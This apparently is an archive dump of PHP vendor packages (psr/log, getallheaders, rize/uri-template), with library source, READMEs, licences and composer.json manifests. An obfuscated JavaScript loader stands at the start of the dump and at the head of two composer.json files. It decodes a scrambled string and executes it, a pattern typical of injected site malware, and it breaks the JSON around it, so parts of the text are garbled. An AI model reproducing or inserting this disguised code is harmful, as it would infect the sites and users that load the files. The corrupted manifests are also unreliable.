(].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "psr/log", "description": "Common interface for logging libraries", "keywords": ["psr", "psr-3", "log"], "homepage": "https://github.com/php-fig/log", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "require": { "php": ">=5.3.0" }, "autoload": { "psr-4": { "Psr\\Log\\": "Psr/Log/" } }, "extra": { "branch-alias": { "dev-master": "1.1.x-dev" } } } vendor/ralouphie/getallheaders/src/getallheaders.php000064400000003150147600277620016753 0ustar00 'Content-Type', 'CONTENT_LENGTH' => 'Content-Length', 'CONTENT_MD5' => 'Content-Md5', ); foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) === 'HTTP_') { $key = substr($key, 5); if (!isset($copy_server[$key]) || !isset($_SERVER[$key])) { $key = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', $key)))); $headers[$key] = $value; } } elseif (isset($copy_server[$key])) { $headers[$copy_server[$key]] = $value; } } if (!isset($headers['Authorization'])) { if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION'])) { $headers['Authorization'] = $_SERVER['REDIRECT_HTTP_AUTHORIZATION']; } elseif (isset($_SERVER['PHP_AUTH_USER'])) { $basic_pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : ''; $headers['Authorization'] = 'Basic ' . base64_encode($_SERVER['PHP_AUTH_USER'] . ':' . $basic_pass); } elseif (isset($_SERVER['PHP_AUTH_DIGEST'])) { $headers['Authorization'] = $_SERVER['PHP_AUTH_DIGEST']; } } return $headers; } } vendor/ralouphie/getallheaders/README.md000064400000002100147600277620014120 0ustar00getallheaders ============= PHP `getallheaders()` polyfill. Compatible with PHP >= 5.3. [![Build Status](https://travis-ci.org/ralouphie/getallheaders.svg?branch=master)](https://travis-ci.org/ralouphie/getallheaders) [![Coverage Status](https://coveralls.io/repos/ralouphie/getallheaders/badge.png?branch=master)](https://coveralls.io/r/ralouphie/getallheaders?branch=master) [![Latest Stable Version](https://poser.pugx.org/ralouphie/getallheaders/v/stable.png)](https://packagist.org/packages/ralouphie/getallheaders) [![Latest Unstable Version](https://poser.pugx.org/ralouphie/getallheaders/v/unstable.png)](https://packagist.org/packages/ralouphie/getallheaders) [![License](https://poser.pugx.org/ralouphie/getallheaders/license.png)](https://packagist.org/packages/ralouphie/getallheaders) This is a simple polyfill for [`getallheaders()`](http://www.php.net/manual/en/function.getallheaders.php). ## Install For PHP version **`>= 5.6`**: ``` composer require ralouphie/getallheaders ``` For PHP version **`< 5.6`**: ``` composer require ralouphie/getallheaders "^2" ``` vendor/ralouphie/getallheaders/LICENSE000064400000002070147600277620013654 0ustar00The MIT License (MIT) Copyright (c) 2014 Ralph Khattar Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. vendor/ralouphie/getallheaders/composer.json000064400000006614147600277620015401 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "ralouphie/getallheaders", "description": "A polyfill for getallheaders.", "license": "MIT", "authors": [ { "name": "Ralph Khattar", "email": "ralph.khattar@gmail.com" } ], "require": { "php": ">=5.6" }, "require-dev": { "phpunit/phpunit": "^5 || ^6.5", "php-coveralls/php-coveralls": "^2.1" }, "autoload": { "files": ["src/getallheaders.php"] }, "autoload-dev": { "psr-4": { "getallheaders\\Tests\\": "tests/" } } } vendor/rize/uri-template/.github/workflows/ci.yml000064400000001736147600277620016157 0ustar00name: CI on: - pull_request - push jobs: tests: runs-on: ubuntu-16.04 strategy: fail-fast: true matrix: php-versions: ['5.6', '7.0', '7.1', '7.2', '7.3', '7.4'] steps: - name: Checkout uses: actions/checkout@v2 - name: Setup PHP uses: shivammathur/setup-php@v2 with: php-version: ${{ matrix.php-versions }} - name: Install dependencies run: composer install --optimize-autoloader --prefer-dist - name: Run tests run: composer run-script test tests-php8: runs-on: ubuntu-16.04 strategy: fail-fast: true matrix: php-versions: ['8.0'] steps: - name: Checkout uses: actions/checkout@v2 - name: Setup PHP uses: shivammathur/setup-php@v2 with: php-version: ${{ matrix.php-versions }} - name: Install dependencies run: composer require -W phpunit/phpunit - name: Run tests run: composer run-script testvendor/rize/uri-template/src/Rize/UriTemplate/Node/Variable.php000064400000001400147600277620020506 0ustar00 null, 'value' => null, ); public function __construct($token, array $options = array()) { parent::__construct($token); $this->options = $options + $this->options; // normalize var name e.g. from 'term:1' becomes 'term' $name = $token; if ($options['modifier'] === ':') { $name = substr($name, 0, strpos($name, $options['modifier'])); } $this->name = $name; } }vendor/rize/uri-template/src/Rize/UriTemplate/Node/Expression.php000064400000010144147600277620021125 0ustar00operator = $operator; $this->variables = $variables; $this->forwardLookupSeparator = $forwardLookupSeparator; } /** * @return Operator\Abstraction */ public function getOperator() { return $this->operator; } /** * @return array */ public function getVariables() { return $this->variables; } /** * @return string */ public function getForwardLookupSeparator() { return $this->forwardLookupSeparator; } /** * @param string $forwardLookupSeparator */ public function setForwardLookupSeparator($forwardLookupSeparator) { $this->forwardLookupSeparator = $forwardLookupSeparator; } /** * @param Parser $parser * @param array $params * @return null|string */ public function expand(Parser $parser, array $params = array()) { $data = array(); $op = $this->operator; // check for variable modifiers foreach($this->variables as $var) { $val = $op->expand($parser, $var, $params); // skip null value if (!is_null($val)) { $data[] = $val; } } return $data ? $op->first.implode($op->sep, $data) : null; } /** * Matches given URI against current node * * @param Parser $parser * @param string $uri * @param array $params * @param bool $strict * @return null|array `uri and params` or `null` if not match and $strict is true */ public function match(Parser $parser, $uri, $params = array(), $strict = false) { $op = $this->operator; // check expression operator first if ($op->id && $uri[0] !== $op->id) { return array($uri, $params); } // remove operator from input if ($op->id) { $uri = substr($uri, 1); } foreach($this->sortVariables($this->variables) as $var) { /** @var \Rize\UriTemplate\Node\Variable $regex */ $regex = '#'.$op->toRegex($parser, $var).'#'; $val = null; // do a forward lookup and get just the relevant part $remainingUri = ''; $preparedUri = $uri; if ($this->forwardLookupSeparator) { $lastOccurrenceOfSeparator = stripos($uri, $this->forwardLookupSeparator); $preparedUri = substr($uri, 0, $lastOccurrenceOfSeparator); $remainingUri = substr($uri, $lastOccurrenceOfSeparator); } if (preg_match($regex, $preparedUri, $match)) { // remove matched part from input $preparedUri = preg_replace($regex, '', $preparedUri, $limit = 1); $val = $op->extract($parser, $var, $match[0]); } // if strict is given, we quit immediately when there's no match else if ($strict) { return null; } $uri = $preparedUri . $remainingUri; $params[$var->getToken()] = $val; } return array($uri, $params); } /** * Sort variables before extracting data from uri. * We have to sort vars by non-explode to explode. * * @param array $vars * @return array */ protected function sortVariables(array $vars) { usort($vars, function($a, $b) { return $a->options['modifier'] >= $b->options['modifier'] ? 1 : -1; }); return $vars; } } vendor/rize/uri-template/src/Rize/UriTemplate/Node/Abstraction.php000064400000002535147600277620021244 0ustar00token = $token; } /** * Expands URI template * * @param Parser $parser * @param array $params * @return null|string */ public function expand(Parser $parser, array $params = array()) { return $this->token; } /** * Matches given URI against current node * * @param Parser $parser * @param string $uri * @param array $params * @param bool $strict * @return null|array `uri and params` or `null` if not match and $strict is true */ public function match(Parser $parser, $uri, $params = array(), $strict = false) { // match literal string from start to end $length = strlen($this->token); if (substr($uri, 0, $length) === $this->token) { $uri = substr($uri, $length); } // when there's no match, just return null if strict mode is given else if ($strict) { return null; } return array($uri, $params); } /** * @return string */ public function getToken() { return $this->token; } } vendor/rize/uri-template/src/Rize/UriTemplate/Node/Literal.php000064400000000147147600277620020364 0ustar00getRegex(); $options = $var->options; if ($options['modifier']) { switch($options['modifier']) { case '*': // 2 | 4 $regex = "{$value}+(?:{$this->sep}{$value}+)*"; break; case ':': $regex = $value.'{0,'.$options['value'].'}'; break; case '%': throw new \Exception("% (array) modifier only works with Named type operators e.g. ;,?,&"); default: throw new \Exception("Unknown modifier `{$options['modifier']}`"); } } else { // 1, 3 $regex = "{$value}*(?:,{$value}+)*"; } return $regex; } }vendor/rize/uri-template/src/Rize/UriTemplate/Operator/Named.php000064400000014515147600277620020726 0ustar00name; $value = $this->getRegex(); $options = $var->options; if ($options['modifier']) { switch($options['modifier']) { case '*': // 2 | 4 $regex = "{$name}+=(?:{$value}+(?:{$this->sep}{$name}+={$value}*)*)" . "|{$value}+=(?:{$value}+(?:{$this->sep}{$value}+={$value}*)*)"; break; case ':': $regex = "{$value}\{0,{$options['value']}\}"; break; case '%': // 5 $name = $name.'+(?:%5B|\[)[^=]*='; $regex = "{$name}(?:{$value}+(?:{$this->sep}{$name}{$value}*)*)"; break; default: throw new \Exception("Unknown modifier `{$options['modifier']}`"); } } else { // 1, 3 $regex = "{$name}=(?:{$value}+(?:,{$value}+)*)*"; } return '(?:&)?'.$regex; } public function expandString(Parser $parser, Node\Variable $var, $val) { $val = (string)$val; $options = $var->options; $result = $this->encode($parser, $var, $var->name); // handle empty value if ($val === '') { return $result . $this->empty; } else { $result .= '='; } if ($options['modifier'] === ':') { $val = mb_substr($val, 0, (int)$options['value']); } return $result.$this->encode($parser, $var, $val); } public function expandNonExplode(Parser $parser, Node\Variable $var, array $val) { if (empty($val)) { return null; } $result = $this->encode($parser, $var, $var->name); if (empty($val)) { return $result . $this->empty; } else { $result .= '='; } return $result.$this->encode($parser, $var, $val); } public function expandExplode(Parser $parser, Node\Variable $var, array $val) { if (empty($val)) { return null; } $result = $this->encode($parser, $var, $var->name); // RFC6570 doesn't specify how to handle empty list/assoc array // for explode modifier if (empty($val)) { return $result . $this->empty; } $list = isset($val[0]); $data = array(); foreach($val as $k => $v) { // if value is a list, use `varname` as keyname, otherwise use `key` name $key = $list ? $var->name : $k; if ($list) { $data[$key][] = $v; } else { $data[$key] = $v; } } // if it's array modifier, we have to use variable name as index // e.g. if variable name is 'query' and value is ['limit' => 1] // then we convert it to ['query' => ['limit' => 1]] if (!$list and $var->options['modifier'] === '%') { $data = array($var->name => $data); } return $this->encodeExplodeVars($parser, $var, $data); } public function extract(Parser $parser, Node\Variable $var, $data) { // get rid of optional `&` at the beginning if ($data[0] === '&') { $data = substr($data, 1); } $value = $data; $vals = explode($this->sep, $data); $options = $var->options; switch ($options['modifier']) { case '%': parse_str($data, $query); return $query[$var->name]; case '*': $data = array(); foreach($vals as $val) { list($k, $v) = explode('=', $val); // 2 if ($k === $var->getToken()) { $data[] = $v; } // 4 else { $data[$k] = $v; } } break; case ':': break; default: // 1, 3 // remove key from value e.g. 'lang=en,th' becomes 'en,th' $value = str_replace($var->getToken().'=', '', $value); $data = explode(',', $value); if (sizeof($data) === 1) { $data = current($data); } } return $this->decode($parser, $var, $data); } public function encodeExplodeVars(Parser $parser, Node\Variable $var, $data) { // http_build_query uses PHP_QUERY_RFC1738 encoding by default // i.e. spaces are encoded as '+' (plus signs) we need to convert // it to %20 RFC3986 $query = http_build_query($data, null, $this->sep); $query = str_replace('+', '%20', $query); // `%` array modifier if ($var->options['modifier'] === '%') { // it also uses numeric based-index by default e.g. list[] becomes list[0] $query = preg_replace('#%5B\d+%5D#', '%5B%5D', $query); } // `:`, `*` modifiers else { // by default, http_build_query will convert array values to `a[]=1&a[]=2` // which is different from the spec. It should be `a=1&a=2` $query = preg_replace('#%5B\d+%5D#', '', $query); } // handle reserved charset if ($this->reserved) { $query = str_replace( array_keys(static::$reserved_chars), static::$reserved_chars, $query ); } return $query; } } vendor/rize/uri-template/src/Rize/UriTemplate/Operator/Abstraction.php000064400000030025147600277620022145 0ustar00 array( 'sep' => ',', 'named' => false, 'empty' => '', 'reserved' => false, 'start' => 0, 'first' => null, ), '+' => array( 'sep' => ',', 'named' => false, 'empty' => '', 'reserved' => true, 'start' => 1, 'first' => null, ), '.' => array( 'sep' => '.', 'named' => false, 'empty' => '', 'reserved' => false, 'start' => 1, 'first' => '.', ), '/' => array( 'sep' => '/', 'named' => false, 'empty' => '', 'reserved' => false, 'start' => 1, 'first' => '/', ), ';' => array( 'sep' => ';', 'named' => true, 'empty' => '', 'reserved' => false, 'start' => 1, 'first' => ';', ), '?' => array( 'sep' => '&', 'named' => true, 'empty' => '=', 'reserved' => false, 'start' => 1, 'first' => '?', ), '&' => array( 'sep' => '&', 'named' => true, 'empty' => '=', 'reserved' => false, 'start' => 1, 'first' => '&', ), '#' => array( 'sep' => ',', 'named' => false, 'empty' => '', 'reserved' => true, 'start' => 1, 'first' => '#', ), ), $loaded = array(); /** * gen-delims | sub-delims */ public static $reserved_chars = array( '%3A' => ':', '%2F' => '/', '%3F' => '?', '%23' => '#', '%5B' => '[', '%5D' => ']', '%40' => '@', '%21' => '!', '%24' => '$', '%26' => '&', '%27' => "'", '%28' => '(', '%29' => ')', '%2A' => '*', '%2B' => '+', '%2C' => ',', '%3B' => ';', '%3D' => '=', ); /** * RFC 3986 Allowed path characters regex except the path delimiter '/'. * * @var string */ protected static $pathRegex = '(?:[a-zA-Z0-9\-\._~!\$&\'\(\)\*\+,;=%:@]+|%(?![A-Fa-f0-9]{2}))'; /** * RFC 3986 Allowed query characters regex except the query parameter delimiter '&'. * * @var string */ protected static $queryRegex = '(?:[a-zA-Z0-9\-\._~!\$\'\(\)\*\+,;=%:@\/\?]+|%(?![A-Fa-f0-9]{2}))'; public function __construct($id, $named, $sep, $empty, $reserved, $start, $first) { $this->id = $id; $this->named = $named; $this->sep = $sep; $this->empty = $empty; $this->start = $start; $this->first = $first; $this->reserved = $reserved; } abstract public function toRegex(Parser $parser, Node\Variable $var); public function expand(Parser $parser, Node\Variable $var, array $params = array()) { $options = $var->options; $name = $var->name; $is_explode = in_array($options['modifier'], array('*', '%')); // skip null if (!isset($params[$name])) { return null; } $val = $params[$name]; // This algorithm is based on RFC6570 http://tools.ietf.org/html/rfc6570 // non-array, e.g. string if (!is_array($val)) { return $this->expandString($parser, $var, $val); } // non-explode ':' else if (!$is_explode) { return $this->expandNonExplode($parser, $var, $val); } // explode '*', '%' else { return $this->expandExplode($parser, $var, $val); } } public function expandString(Parser $parser, Node\Variable $var, $val) { $val = (string)$val; $options = $var->options; $result = null; if ($options['modifier'] === ':') { $val = substr($val, 0, (int)$options['value']); } return $result.$this->encode($parser, $var, $val); } /** * Non explode modifier ':' * * @param Parser $parser * @param Node\Variable $var * @param array $val * @return null|string */ public function expandNonExplode(Parser $parser, Node\Variable $var, array $val) { if (empty($val)) { return null; } return $this->encode($parser, $var, $val); } /** * Explode modifier '*', '%' * * @param Parser $parser * @param Node\Variable $var * @param array $val * @return null|string */ public function expandExplode(Parser $parser, Node\Variable $var, array $val) { if (empty($val)) { return null; } return $this->encode($parser, $var, $val); } /** * Encodes variable according to spec (reserved or unreserved) * * @param Parser $parser * @param Node\Variable $var * @param mixed $values * * @return string encoded string */ public function encode(Parser $parser, Node\Variable $var, $values) { $values = (array)$values; $list = isset($values[0]); $reserved = $this->reserved; $maps = static::$reserved_chars; $sep = $this->sep; $assoc_sep = '='; // non-explode modifier always use ',' as a separator if ($var->options['modifier'] !== '*') { $assoc_sep = $sep = ','; } array_walk($values, function(&$v, $k) use ($assoc_sep, $reserved, $list, $maps) { $encoded = rawurlencode($v); // assoc? encode key too if (!$list) { $encoded = rawurlencode($k).$assoc_sep.$encoded; } // rawurlencode is compliant with 'unreserved' set if (!$reserved) { $v = $encoded; } // decode chars in reserved set else { $v = str_replace( array_keys($maps), $maps, $encoded ); } }); return implode($sep, $values); } /** * Decodes variable * * @param Parser $parser * @param Node\Variable $var * @param mixed $values * * @return string decoded string */ public function decode(Parser $parser, Node\Variable $var, $values) { $single = !is_array($values); $values = (array)$values; array_walk($values, function(&$v, $k) { $v = rawurldecode($v); }); return $single ? reset($values) : $values; } /** * Extracts value from variable * * @param Parser $parser * @param Node\Variable $var * @param string $data * @return string */ public function extract(Parser $parser, Node\Variable $var, $data) { $value = $data; $vals = array_filter(explode($this->sep, $data)); $options = $var->options; switch ($options['modifier']) { case '*': $data = array(); foreach($vals as $val) { if (strpos($val, '=') !== false) { list($k, $v) = explode('=', $val); $data[$k] = $v; } else { $data[] = $val; } } break; case ':': break; default: $data = strpos($data, $this->sep) !== false ? $vals : $value; } return $this->decode($parser, $var, $data); } public static function createById($id) { if (!isset(static::$types[$id])) { throw new \Exception("Invalid operator [$id]"); } if (isset(static::$loaded[$id])) { return static::$loaded[$id]; } $op = static::$types[$id]; $class = __NAMESPACE__.'\\'.($op['named'] ? 'Named' : 'UnNamed'); return static::$loaded[$id] = new $class($id, $op['named'], $op['sep'], $op['empty'], $op['reserved'], $op['start'], $op['first']); } public static function isValid($id) { return isset(static::$types[$id]); } /** * Returns the correct regex given the variable location in the URI * * @return string */ protected function getRegex() { switch ($this->id) { case '?': case '&': case '#': return self::$queryRegex; case ';': default: return self::$pathRegex; } } } vendor/rize/uri-template/src/Rize/UriTemplate/Parser.php000064400000010356147600277620017342 0ustar00createNode($part); // if current node has dot separator that requires a forward lookup // for the previous node iff previous node's operator is UnNamed if ($node instanceof Expression && $node->getOperator()->id === '.') { if (sizeof($nodes) > 0) { $previousNode = $nodes[sizeof($nodes) - 1]; if ($previousNode instanceof Expression && $previousNode->getOperator() instanceof UnNamed) { $previousNode->setForwardLookupSeparator($node->getOperator()->id); } } } $nodes[] = $node; } return $nodes; } /** * @param string $token * @return Node\Abstraction */ protected function createNode($token) { // literal string if ($token[0] !== '{') { $node = $this->createLiteralNode($token); } else { // remove `{}` from expression and parse it $node = $this->parseExpression(substr($token, 1, -1)); } return $node; } protected function parseExpression($expression) { $token = $expression; $prefix = $token[0]; // not a valid operator? if (!Operator\Abstraction::isValid($prefix)) { // not valid chars? if (!preg_match('#'.self::REGEX_VARNAME.'#', $token)) { throw new \Exception("Invalid operator [$prefix] found at {$token}"); } // default operator $prefix = null; } // remove operator prefix if exists e.g. '?' if ($prefix) { $token = substr($token, 1); } // parse variables $vars = array(); foreach(explode(',', $token) as $var) { $vars[] = $this->parseVariable($var); } return $this->createExpressionNode( $token, $this->createOperatorNode($prefix), $vars ); } protected function parseVariable($var) { $var = trim($var); $val = null; $modifier = null; // check for prefix (:) / explode (*) / array (%) modifier if (strpos($var, ':') !== false) { $modifier = ':'; list($varname, $val) = explode(':', $var); // error checking if (!is_numeric($val)) { throw new \Exception("Value for `:` modifier must be numeric value [$varname:$val]"); } } switch($last = substr($var, -1)) { case '*': case '%': // there can be only 1 modifier per var if ($modifier) { throw new \Exception("Multiple modifiers per variable are not allowed [$var]"); } $modifier = $last; $var = substr($var, 0, -1); break; } return $this->createVariableNode( $var, array( 'modifier' => $modifier, 'value' => $val, ) ); } protected function createVariableNode($token, $options = array()) { return new Node\Variable($token, $options); } protected function createExpressionNode($token, Operator\Abstraction $operator = null, array $vars = array()) { return new Node\Expression($token, $operator, $vars); } protected function createLiteralNode($token) { return new Node\Literal($token); } protected function createOperatorNode($token) { return Operator\Abstraction::createById($token); } } vendor/rize/uri-template/src/Rize/UriTemplate/UriTemplate.php000064400000000216147600277620020333 0ustar00base_uri = $base_uri; $this->params = $params; $this->parser = $parser ?: $this->createNodeParser(); } /** * Expands URI Template * * @param string $uri URI Template * @param array $params URI Template's parameters * @return string */ public function expand($uri, $params = array()) { $params += $this->params; $uri = $this->base_uri.$uri; $result = array(); // quick check if (($start = strpos($uri, '{')) === false) { return $uri; } $parser = $this->parser; $nodes = $parser->parse($uri); foreach($nodes as $node) { $result[] = $node->expand($parser, $params); } return implode('', $result); } /** * Extracts variables from URI * * @param string $template * @param string $uri * @param bool $strict This will perform a full match * @return null|array params or null if not match and $strict is true */ public function extract($template, $uri, $strict = false) { $params = array(); $nodes = $this->parser->parse($template); foreach($nodes as $node) { // if strict is given, and there's no remaining uri just return null if ($strict && !strlen($uri)) { return null; } // uri'll be truncated from the start when a match is found $match = $node->match($this->parser, $uri, $params, $strict); list($uri, $params) = $match; } // if there's remaining $uri, matching is failed if ($strict && strlen($uri)) { return null; } return $params; } public function getParser() { return $this->parser; } protected function createNodeParser() { static $parser; if ($parser) { return $parser; } return $parser = new Parser; } } vendor/rize/uri-template/README.md000064400000011506147600277620012717 0ustar00# PHP URI Template This is a URI Template implementation in PHP based on [RFC 6570 URI Template](http://tools.ietf.org/html/rfc6570). In addition to URI expansion, it also supports URI extraction (200+ test cases). ![CI](https://github.com/rize/UriTemplate/workflows/CI/badge.svg) [![Total Downloads](https://poser.pugx.org/rize/uri-template/downloads.png)](https://packagist.org/packages/rize/uri-template) * [Node.js/Javascript](https://github.com/rezigned/uri-template.js) URI Template ## Usage ### Expansion A very simple usage (string expansion). ```php expand('/{username}/profile', ['username' => 'john']); >> '/john/profile' ``` `Rize\UriTemplate` supports all `Expression Types` and `Levels` specified by RFC6570. ```php expand('/search/{term:1}/{term}/{?q*,limit}', [ 'term' => 'john', 'q' => ['a', 'b'], 'limit' => 10, ]) >> '/search/j/john/?q=a&q=b&limit=10' ``` #### `/` Path segment expansion ```php expand('http://{host}{/segments*}/{file}{.extensions*}', [ 'host' => 'www.host.com', 'segments' => ['path', 'to', 'a'], 'file' => 'file', 'extensions' => ['x', 'y'], ]); >> 'http://www.host.com/path/to/a/file.x.y' ``` `Rize\UriTemplate` accepts `base-uri` as a 1st argument and `default params` as a 2nd argument. This is very useful when you're working with API endpoint. Take a look at real world example. ```php 1.1]); $uri->expand('/statuses/show/{id}.json', ['id' => '210462857140252672']); >> https://api.twitter.com/1.1/statuses/show/210462857140252672.json ``` ### Extraction It also supports URI Extraction (extract all variables from URI). Let's take a look at the example. ```php 1.1]); $params = $uri->extract('/search/{term:1}/{term}/{?q*,limit}', '/search/j/john/?q=a&q=b&limit=10'); >> print_r($params); ( [term:1] => j [term] => john [q] => Array ( [0] => a [1] => b ) [limit] => 10 ) ``` Note that in the example above, result returned by `extract` method has an extra keys named `term:1` for `prefix` modifier. This key was added just for our convenience to access prefix data. #### `strict` mode ```php extract($template, $uri, $strict = false) ``` Normally `extract` method will try to extract vars from a uri even if it's partially matched. For example ```php extract('/{?a,b}', '/?a=1') >> print_r($params); ( [a] => 1 [b] => null ) ``` With `strict mode`, it will allow you to extract uri only when variables in template are fully matched with given uri. Which is useful when you want to determine whether the given uri is matched against your template or not (in case you want to use it as routing service). ```php extract('/{?a,b}', '/?a=1', true); >>> null // Now we give `b` some value $params = $uri->extract('/{?a,b}', '/?a=1&b=2', true); >>> print_r($params) ( [a] => 1 [b] => 2 ) ``` #### Array modifier `%` By default, RFC 6570 only has 2 types of operators `:` and `*`. This `%` array operator was added to the library because current spec can't handle array style query e.g. `list[]=a` or `key[user]=john`. Example usage for `%` modifier ```php expand('{?list%,keys%}', [ 'list' => [ 'a', 'b', ), 'keys' => [ 'a' => 1, 'b' => 2, ), ]); // '?list[]=a&list[]=b&keys[a]=1&keys[b]=2' >> '?list%5B%5D=a&list%5B%5D=b&keys%5Ba%5D=1&keys%5Bb%5D=2' // [] get encoded to %5B%5D i.e. '?list[]=a&list[]=b&keys[a]=1&keys[b]=2' $params = $uri->extract('{?list%,keys%}', '?list%5B%5D=a&list%5B%5D=b&keys%5Ba%5D=1&keys%5Bb%5D=2', ) >> print_r($params); ( [list] => Array ( [0] => a [1] => b ) [keys] => Array ( [a] => 1 [b] => 2 ) ) ``` ## Installation Using `composer` ``` { "require": { "rize/uri-template": "~0.3" } } ``` ### Changelogs * **0.2.0** Add a new modifier `%` which allows user to use `list[]=a&list[]=b` query pattern. * **0.2.1** Add nested array support for `%` modifier * **0.2.5** Add strict mode support for `extract` method * **0.3.0** Improve code quality + RFC3986 support for `extract` method by @Maks3w * **0.3.1** Improve `extract` method to parse two or more adjacent variables separated by dot by @corleonis vendor/rize/uri-template/LICENSE000064400000002074147600277620012445 0ustar00The MIT License (MIT) Copyright (c) [2014] [Marut Khumtong] Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.vendor/rize/uri-template/composer.json000064400000007037147600277620014166 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] 